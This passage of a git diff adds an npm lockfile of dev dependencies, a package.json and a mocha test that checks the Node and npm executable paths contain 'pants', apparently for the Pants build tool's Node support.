<3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/filename-regex/-/filename-regex-2.0.0.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"fill-range\": {\n+ \"version\": \"2.2.3\",\n+ \"from\": \"fill-range@>=2.1.0 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/fill-range/-/fill-range-2.2.3.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"for-in\": {\n+ \"version\": \"1.0.2\",\n+ \"from\": \"for-in@>=1.0.1 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"for-own\": {\n+ \"version\": \"0.1.5\",\n+ \"from\": \"for-own@>=0.1.4 <0.2.0\",\n+ \"resolved\": \"https://registry.npmjs.org/for-own/-/for-own-0.1.5.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"fs-readdir-recursive\": {\n+ \"version\": \"1.0.0\",\n+ \"from\": \"fs-readdir-recursive@>=1.0.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/fs-readdir-recursive/-/fs-readdir-recursive-1.0.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"fs.realpath\": {\n+ \"version\": \"1.0.0\",\n+ \"from\": \"fs.realpath@>=1.0.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"glob\": {\n+ \"version\": \"7.1.1\",\n+ \"from\": \"glob@>=7.0.0 <8.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/glob/-/glob-7.1.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"glob-base\": {\n+ \"version\": \"0.3.0\",\n+ \"from\": \"glob-base@>=0.3.0 <0.4.0\",\n+ \"resolved\": \"https://registry.npmjs.org/glob-base/-/glob-base-0.3.0.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"glob-parent\": {\n+ \"version\": \"2.0.0\",\n+ \"from\": \"glob-parent@>=2.0.0 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/glob-parent/-/glob-parent-2.0.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"globals\": {\n+ \"version\": \"9.17.0\",\n+ \"from\": \"globals@>=9.0.0 <10.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/globals/-/globals-9.17.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"graceful-fs\": {\n+ \"version\": \"4.1.11\",\n+ \"from\": \"graceful-fs@>=4.1.2 <5.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.1.11.tgz\",\n+ \"dev\": true\n+ },\n+ \"graceful-readlink\": {\n+ \"version\": \"1.0.1\",\n+ \"from\": \"graceful-readlink@>=1.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/graceful-readlink/-/graceful-readlink-1.0.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"growl\": {\n+ \"version\": \"1.9.2\",\n+ \"from\": \"growl@1.9.2\",\n+ \"resolved\": \"https://registry.npmjs.org/growl/-/growl-1.9.2.tgz\",\n+ \"dev\": true\n+ },\n+ \"has-ansi\": {\n+ \"version\": \"2.0.0\",\n+ \"from\": \"has-ansi@>=2.0.0 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"has-flag\": {\n+ \"version\": \"1.0.0\",\n+ \"from\": \"has-flag@>=1.0.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/has-flag/-/has-flag-1.0.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"home-or-tmp\": {\n+ \"version\": \"2.0.0\",\n+ \"from\": \"home-or-tmp@>=2.0.0 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/home-or-tmp/-/home-or-tmp-2.0.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"inflight\": {\n+ \"version\": \"1.0.6\",\n+ \"from\": \"inflight@>=1.0.4 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz\",\n+ \"dev\": true\n+ },\n+ \"inherits\": {\n+ \"version\": \"2.0.3\",\n+ \"from\": \"inherits@>=2.0.1 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz\",\n+ \"dev\": true\n+ },\n+ \"invariant\": {\n+ \"version\": \"2.2.2\",\n+ \"from\": \"invariant@>=2.2.0 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/invariant/-/invariant-2.2.2.tgz\",\n+ \"dev\": true\n+ },\n+ \"is-binary-path\": {\n+ \"version\": \"1.0.1\",\n+ \"from\": \"is-binary-path@>=1.0.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/is-binary-path/-/is-binary-path-1.0.1.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"is-buffer\": {\n+ \"version\": \"1.1.5\",\n+ \"from\": \"is-buffer@>=1.0.2 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.5.tgz\",\n+ \"dev\": true\n+ },\n+ \"is-dotfile\": {\n+ \"version\": \"1.0.2\",\n+ \"from\": \"is-dotfile@>=1.0.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/is-dotfile/-/is-dotfile-1.0.2.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"is-equal-shallow\": {\n+ \"version\": \"0.1.3\",\n+ \"from\": \"is-equal-shallow@>=0.1.3 <0.2.0\",\n+ \"resolved\": \"https://registry.npmjs.org/is-equal-shallow/-/is-equal-shallow-0.1.3.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"is-extendable\": {\n+ \"version\": \"0.1.1\",\n+ \"from\": \"is-extendable@>=0.1.1 <0.2.0\",\n+ \"resolved\": \"https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"is-extglob\": {\n+ \"version\": \"1.0.0\",\n+ \"from\": \"is-extglob@>=1.0.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/is-extglob/-/is-extglob-1.0.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"is-finite\": {\n+ \"version\": \"1.0.2\",\n+ \"from\": \"is-finite@>=1.0.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/is-finite/-/is-finite-1.0.2.tgz\",\n+ \"dev\": true\n+ },\n+ \"is-glob\": {\n+ \"version\": \"2.0.1\",\n+ \"from\": \"is-glob@>=2.0.0 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/is-glob/-/is-glob-2.0.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"is-number\": {\n+ \"version\": \"2.1.0\",\n+ \"from\": \"is-number@>=2.1.0 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/is-number/-/is-number-2.1.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"is-posix-bracket\": {\n+ \"version\": \"0.1.1\",\n+ \"from\": \"is-posix-bracket@>=0.1.0 <0.2.0\",\n+ \"resolved\": \"https://registry.npmjs.org/is-posix-bracket/-/is-posix-bracket-0.1.1.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"is-primitive\": {\n+ \"version\": \"2.0.0\",\n+ \"from\": \"is-primitive@>=2.0.0 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"isarray\": {\n+ \"version\": \"1.0.0\",\n+ \"from\": \"isarray@1.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"isexe\": {\n+ \"version\": \"2.0.0\",\n+ \"from\": \"isexe@>=2.0.0 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"isobject\": {\n+ \"version\": \"2.1.0\",\n+ \"from\": \"isobject@>=2.0.0 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"js-tokens\": {\n+ \"version\": \"3.0.1\",\n+ \"from\": \"js-tokens@>=3.0.0 <4.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/js-tokens/-/js-tokens-3.0.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"jsesc\": {\n+ \"version\": \"1.3.0\",\n+ \"from\": \"jsesc@>=1.3.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/jsesc/-/jsesc-1.3.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"json3\": {\n+ \"version\": \"3.3.2\",\n+ \"from\": \"json3@3.3.2\",\n+ \"resolved\": \"https://registry.npmjs.org/json3/-/json3-3.3.2.tgz\",\n+ \"dev\": true\n+ },\n+ \"json5\": {\n+ \"version\": \"0.5.1\",\n+ \"from\": \"json5@>=0.5.0 <0.6.0\",\n+ \"resolved\": \"https://registry.npmjs.org/json5/-/json5-0.5.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"kind-of\": {\n+ \"version\": \"3.1.0\",\n+ \"from\": \"kind-of@>=3.0.2 <4.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/kind-of/-/kind-of-3.1.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"lodash\": {\n+ \"version\": \"4.17.4\",\n+ \"from\": \"lodash@>=4.2.0 <5.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/lodash/-/lodash-4.17.4.tgz\",\n+ \"dev\": true\n+ },\n+ \"lodash._baseassign\": {\n+ \"version\": \"3.2.0\",\n+ \"from\": \"lodash._baseassign@>=3.0.0 <4.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/lodash._baseassign/-/lodash._baseassign-3.2.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"lodash._basecopy\": {\n+ \"version\": \"3.0.1\",\n+ \"from\": \"lodash._basecopy@>=3.0.0 <4.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/lodash._basecopy/-/lodash._basecopy-3.0.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"lodash._basecreate\": {\n+ \"version\": \"3.0.3\",\n+ \"from\": \"lodash._basecreate@>=3.0.0 <4.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/lodash._basecreate/-/lodash._basecreate-3.0.3.tgz\",\n+ \"dev\": true\n+ },\n+ \"lodash._getnative\": {\n+ \"version\": \"3.9.1\",\n+ \"from\": \"lodash._getnative@>=3.0.0 <4.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/lodash._getnative/-/lodash._getnative-3.9.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"lodash._isiterateecall\": {\n+ \"version\": \"3.0.9\",\n+ \"from\": \"lodash._isiterateecall@>=3.0.0 <4.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/lodash._isiterateecall/-/lodash._isiterateecall-3.0.9.tgz\",\n+ \"dev\": true\n+ },\n+ \"lodash.create\": {\n+ \"version\": \"3.1.1\",\n+ \"from\": \"lodash.create@3.1.1\",\n+ \"resolved\": \"https://registry.npmjs.org/lodash.create/-/lodash.create-3.1.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"lodash.isarguments\": {\n+ \"version\": \"3.1.0\",\n+ \"from\": \"lodash.isarguments@>=3.0.0 <4.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/lodash.isarguments/-/lodash.isarguments-3.1.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"lodash.isarray\": {\n+ \"version\": \"3.0.4\",\n+ \"from\": \"lodash.isarray@>=3.0.0 <4.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/lodash.isarray/-/lodash.isarray-3.0.4.tgz\",\n+ \"dev\": true\n+ },\n+ \"lodash.keys\": {\n+ \"version\": \"3.1.2\",\n+ \"from\": \"lodash.keys@>=3.0.0 <4.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/lodash.keys/-/lodash.keys-3.1.2.tgz\",\n+ \"dev\": true\n+ },\n+ \"loose-envify\": {\n+ \"version\": \"1.3.1\",\n+ \"from\": \"loose-envify@>=1.0.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/loose-envify/-/loose-envify-1.3.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"lru-cache\": {\n+ \"version\": \"4.0.2\",\n+ \"from\": \"lru-cache@>=4.0.1 <5.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/lru-cache/-/lru-cache-4.0.2.tgz\",\n+ \"dev\": true\n+ },\n+ \"micromatch\": {\n+ \"version\": \"2.3.11\",\n+ \"from\": \"micromatch@>=2.1.5 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/micromatch/-/micromatch-2.3.11.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"minimatch\": {\n+ \"version\": \"3.0.3\",\n+ \"from\": \"minimatch@>=3.0.2 <4.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/minimatch/-/minimatch-3.0.3.tgz\",\n+ \"dev\": true\n+ },\n+ \"minimist\": {\n+ \"version\": \"0.0.8\",\n+ \"from\": \"minimist@0.0.8\",\n+ \"resolved\": \"https://registry.npmjs.org/minimist/-/minimist-0.0.8.tgz\",\n+ \"dev\": true\n+ },\n+ \"mkdirp\": {\n+ \"version\": \"0.5.1\",\n+ \"from\": \"mkdirp@>=0.5.1 <0.6.0\",\n+ \"resolved\": \"https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"mocha\": {\n+ \"version\": \"3.2.0\",\n+ \"from\": \"mocha@>=3.2.0 <4.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/mocha/-/mocha-3.2.0.tgz\",\n+ \"dev\": true,\n+ \"dependencies\": {\n+ \"debug\": {\n+ \"version\": \"2.2.0\",\n+ \"from\": \"debug@2.2.0\",\n+ \"resolved\": \"https://registry.npmjs.org/debug/-/debug-2.2.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"glob\": {\n+ \"version\": \"7.0.5\",\n+ \"from\": \"glob@7.0.5\",\n+ \"resolved\": \"https://registry.npmjs.org/glob/-/glob-7.0.5.tgz\",\n+ \"dev\": true\n+ },\n+ \"ms\": {\n+ \"version\": \"0.7.1\",\n+ \"from\": \"ms@0.7.1\",\n+ \"resolved\": \"https://registry.npmjs.org/ms/-/ms-0.7.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"supports-color\": {\n+ \"version\": \"3.1.2\",\n+ \"from\": \"supports-color@3.1.2\",\n+ \"resolved\": \"https://registry.npmjs.org/supports-color/-/supports-color-3.1.2.tgz\",\n+ \"dev\": true\n+ }\n+ }\n+ },\n+ \"ms\": {\n+ \"version\": \"0.7.2\",\n+ \"from\": \"ms@0.7.2\",\n+ \"resolved\": \"https://registry.npmjs.org/ms/-/ms-0.7.2.tgz\",\n+ \"dev\": true\n+ },\n+ \"node-version\": {\n+ \"version\": \"1.0.0\",\n+ \"from\": \"node-version@>=1.0.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/node-version/-/node-version-1.0.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"normalize-path\": {\n+ \"version\": \"2.1.1\",\n+ \"from\": \"normalize-path@>=2.0.1 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"number-is-nan\": {\n+ \"version\": \"1.0.1\",\n+ \"from\": \"number-is-nan@>=1.0.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"object-assign\": {\n+ \"version\": \"4.1.1\",\n+ \"from\": \"object-assign@>=4.1.0 <5.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"object.omit\": {\n+ \"version\": \"2.0.1\",\n+ \"from\": \"object.omit@>=2.0.0 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/object.omit/-/object.omit-2.0.1.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"once\": {\n+ \"version\": \"1.4.0\",\n+ \"from\": \"once@>=1.3.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/once/-/once-1.4.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"os-homedir\": {\n+ \"version\": \"1.0.2\",\n+ \"from\": \"os-homedir@>=1.0.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/os-homedir/-/os-homedir-1.0.2.tgz\",\n+ \"dev\": true\n+ },\n+ \"os-tmpdir\": {\n+ \"version\": \"1.0.2\",\n+ \"from\": \"os-tmpdir@>=1.0.1 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz\",\n+ \"dev\": true\n+ },\n+ \"output-file-sync\": {\n+ \"version\": \"1.1.2\",\n+ \"from\": \"output-file-sync@>=1.1.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/output-file-sync/-/output-file-sync-1.1.2.tgz\",\n+ \"dev\": true\n+ },\n+ \"parse-glob\": {\n+ \"version\": \"3.0.4\",\n+ \"from\": \"parse-glob@>=3.0.4 <4.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/parse-glob/-/parse-glob-3.0.4.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"path-is-absolute\": {\n+ \"version\": \"1.0.1\",\n+ \"from\": \"path-is-absolute@>=1.0.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"preserve\": {\n+ \"version\": \"0.2.0\",\n+ \"from\": \"preserve@>=0.2.0 <0.3.0\",\n+ \"resolved\": \"https://registry.npmjs.org/preserve/-/preserve-0.2.0.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"private\": {\n+ \"version\": \"0.1.7\",\n+ \"from\": \"private@>=0.1.6 <0.2.0\",\n+ \"resolved\": \"https://registry.npmjs.org/private/-/private-0.1.7.tgz\",\n+ \"dev\": true\n+ },\n+ \"process-nextick-args\": {\n+ \"version\": \"1.0.7\",\n+ \"from\": \"process-nextick-args@>=1.0.6 <1.1.0\",\n+ \"resolved\": \"https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-1.0.7.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"promise-polyfill\": {\n+ \"version\": \"6.0.2\",\n+ \"from\": \"promise-polyfill@>=6.0.1 <7.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/promise-polyfill/-/promise-polyfill-6.0.2.tgz\",\n+ \"dev\": true\n+ },\n+ \"pseudomap\": {\n+ \"version\": \"1.0.2\",\n+ \"from\": \"pseudomap@>=1.0.1 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz\",\n+ \"dev\": true\n+ },\n+ \"randomatic\": {\n+ \"version\": \"1.1.6\",\n+ \"from\": \"randomatic@>=1.1.3 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/randomatic/-/randomatic-1.1.6.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"readable-stream\": {\n+ \"version\": \"2.2.9\",\n+ \"from\": \"readable-stream@>=2.0.2 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/readable-stream/-/readable-stream-2.2.9.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"readdirp\": {\n+ \"version\": \"2.1.0\",\n+ \"from\": \"readdirp@>=2.0.0 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/readdirp/-/readdirp-2.1.0.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"regenerate\": {\n+ \"version\": \"1.3.2\",\n+ \"from\": \"regenerate@>=1.2.1 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/regenerate/-/regenerate-1.3.2.tgz\",\n+ \"dev\": true\n+ },\n+ \"regenerator-runtime\": {\n+ \"version\": \"0.10.3\",\n+ \"from\": \"regenerator-runtime@>=0.10.0 <0.11.0\",\n+ \"resolved\": \"https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.10.3.tgz\"\n+ },\n+ \"regenerator-transform\": {\n+ \"version\": \"0.9.11\",\n+ \"from\": \"regenerator-transform@0.9.11\",\n+ \"resolved\": \"https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.9.11.tgz\",\n+ \"dev\": true\n+ },\n+ \"regex-cache\": {\n+ \"version\": \"0.4.3\",\n+ \"from\": \"regex-cache@>=0.4.2 <0.5.0\",\n+ \"resolved\": \"https://registry.npmjs.org/regex-cache/-/regex-cache-0.4.3.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"regexpu-core\": {\n+ \"version\": \"2.0.0\",\n+ \"from\": \"regexpu-core@>=2.0.0 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/regexpu-core/-/regexpu-core-2.0.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"regjsgen\": {\n+ \"version\": \"0.2.0\",\n+ \"from\": \"regjsgen@>=0.2.0 <0.3.0\",\n+ \"resolved\": \"https://registry.npmjs.org/regjsgen/-/regjsgen-0.2.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"regjsparser\": {\n+ \"version\": \"0.1.5\",\n+ \"from\": \"regjsparser@>=0.1.4 <0.2.0\",\n+ \"resolved\": \"https://registry.npmjs.org/regjsparser/-/regjsparser-0.1.5.tgz\",\n+ \"dev\": true,\n+ \"dependencies\": {\n+ \"jsesc\": {\n+ \"version\": \"0.5.0\",\n+ \"from\": \"jsesc@>=0.5.0 <0.6.0\",\n+ \"resolved\": \"https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz\",\n+ \"dev\": true\n+ }\n+ }\n+ },\n+ \"remove-trailing-separator\": {\n+ \"version\": \"1.0.1\",\n+ \"from\": \"remove-trailing-separator@>=1.0.1 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/remove-trailing-separator/-/remove-trailing-separator-1.0.1.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"repeat-element\": {\n+ \"version\": \"1.1.2\",\n+ \"from\": \"repeat-element@>=1.1.2 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.2.tgz\",\n+ \"dev\": true\n+ },\n+ \"repeat-string\": {\n+ \"version\": \"1.6.1\",\n+ \"from\": \"repeat-string@>=1.5.2 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"repeating\": {\n+ \"version\": \"2.0.1\",\n+ \"from\": \"repeating@>=2.0.0 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/repeating/-/repeating-2.0.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"set-immediate-shim\": {\n+ \"version\": \"1.0.1\",\n+ \"from\": \"set-immediate-shim@>=1.0.1 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/set-immediate-shim/-/set-immediate-shim-1.0.1.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"slash\": {\n+ \"version\": \"1.0.0\",\n+ \"from\": \"slash@>=1.0.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/slash/-/slash-1.0.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"source-map\": {\n+ \"version\": \"0.5.6\",\n+ \"from\": \"source-map@>=0.5.0 <0.6.0\",\n+ \"resolved\": \"https://registry.npmjs.org/source-map/-/source-map-0.5.6.tgz\",\n+ \"dev\": true\n+ },\n+ \"source-map-support\": {\n+ \"version\": \"0.4.14\",\n+ \"from\": \"source-map-support@>=0.4.2 <0.5.0\",\n+ \"resolved\": \"https://registry.npmjs.org/source-map-support/-/source-map-support-0.4.14.tgz\",\n+ \"dev\": true\n+ },\n+ \"string_decoder\": {\n+ \"version\": \"1.0.0\",\n+ \"from\": \"string_decoder@>=1.0.0 <1.1.0\",\n+ \"resolved\": \"https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.0.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"strip-ansi\": {\n+ \"version\": \"3.0.1\",\n+ \"from\": \"strip-ansi@>=3.0.0 <4.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"supports-color\": {\n+ \"version\": \"2.0.0\",\n+ \"from\": \"supports-color@>=2.0.0 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz\",\n+ \"dev\": true\n+ },\n+ \"to-fast-properties\": {\n+ \"version\": \"1.0.2\",\n+ \"from\": \"to-fast-properties@>=1.0.1 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-1.0.2.tgz\",\n+ \"dev\": true\n+ },\n+ \"trim-right\": {\n+ \"version\": \"1.0.1\",\n+ \"from\": \"trim-right@>=1.0.1 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/trim-right/-/trim-right-1.0.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"user-home\": {\n+ \"version\": \"1.1.1\",\n+ \"from\": \"user-home@>=1.1.1 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/user-home/-/user-home-1.1.1.tgz\",\n+ \"dev\": true\n+ },\n+ \"util-deprecate\": {\n+ \"version\": \"1.0.2\",\n+ \"from\": \"util-deprecate@>=1.0.1 <1.1.0\",\n+ \"resolved\": \"https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz\",\n+ \"dev\": true,\n+ \"optional\": true\n+ },\n+ \"v8flags\": {\n+ \"version\": \"2.0.12\",\n+ \"from\": \"v8flags@>=2.0.10 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/v8flags/-/v8flags-2.0.12.tgz\",\n+ \"dev\": true\n+ },\n+ \"which\": {\n+ \"version\": \"1.2.14\",\n+ \"from\": \"which@>=1.2.9 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/which/-/which-1.2.14.tgz\",\n+ \"dev\": true\n+ },\n+ \"wrappy\": {\n+ \"version\": \"1.0.2\",\n+ \"from\": \"wrappy@>=1.0.0 <2.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz\",\n+ \"dev\": true\n+ },\n+ \"yallist\": {\n+ \"version\": \"2.1.2\",\n+ \"from\": \"yallist@>=2.0.0 <3.0.0\",\n+ \"resolved\": \"https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz\",\n+ \"dev\": true\n+ }\n+ }\n+}\ndiff --git a/contrib/node/tests/node/npm-path-injection/package.json b/contrib/node/tests/node/npm-path-injection/package.json\nnew file mode 100644\nindex 000000000..8daa551c1\n--- /dev/null\n+++ b/contrib/node/tests/node/npm-path-injection/package.json\n@@ -0,0 +1,18 @@\n+{\n+ \"name\": \"npm-path-injection\",\n+ \"version\": \"1.0.0\",\n+ \"main\": \"index.js\",\n+ \"scripts\": {\n+ \"test\": \"mocha --compilers js:babel-register\"\n+ },\n+ \"devDependencies\": {\n+ \"babel-cli\": \"^6.24.1\",\n+ \"babel-preset-latest\": \"^6.24.1\",\n+ \"babel-register\": \"^6.24.1\",\n+ \"child-process-promise\": \"^2.2.1\",\n+ \"mocha\": \"^3.2.0\"\n+ },\n+ \"dependencies\": {\n+ \"babel-polyfill\": \"^6.23.0\"\n+ }\n+}\ndiff --git a/contrib/node/tests/node/npm-path-injection/test/test.js b/contrib/node/tests/node/npm-path-injection/test/test.js\nnew file mode 100644\nindex 000000000..4e66a6f0e\n--- /dev/null\n+++ b/contrib/node/tests/node/npm-path-injection/test/test.js\n@@ -0,0 +1,28 @@\n+/* eslint-env mocha */\n+import 'babel-polyfill'\n+import assert from 'assert'\n+import process from 'process'\n+import ChildProcessPromise from 'child-process-promise'\n+\n+describe('Testing Npm Path Injection', () => {\n+ describe('Executable Path', () => {\n+ it('should contain \"pants\" when running test in pants', () => {\n+ // This test will not pass outside of pants environment\n+ assert.ok(process.execPath.includes('pants'))\n+ })\n+ })\n+ describe('Node Executable Path', () => {\n+ it('should contain \"pants\"', async () => {\n+ // This test will not pass outside of pants environment\n+ const NodeExecutablePathProcess = await ChildProcessPromise.exec('which node', {encoding: 'utf8'})\n+ assert.ok(NodeExecutablePathProcess.stdout.includes('pants'))\n+ })\n+ })\n+ describe('Npm Executable Path', () => {\n+ it('should contain \"pants\"', async () => {\n+ // This test will not pass outside of pants environment\n+ const NodeExecutablePathProcess = await ChildProcessPromise.exec('which npm', {encoding: 'utf8'})\n+ assert.ok(NodeExecutablePathProcess.stdout.includes('pants'))\n+ })\n+ 